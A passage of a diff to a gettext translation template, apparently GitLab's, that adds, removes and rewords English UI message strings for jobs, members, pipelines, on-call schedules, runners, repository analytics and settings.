+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
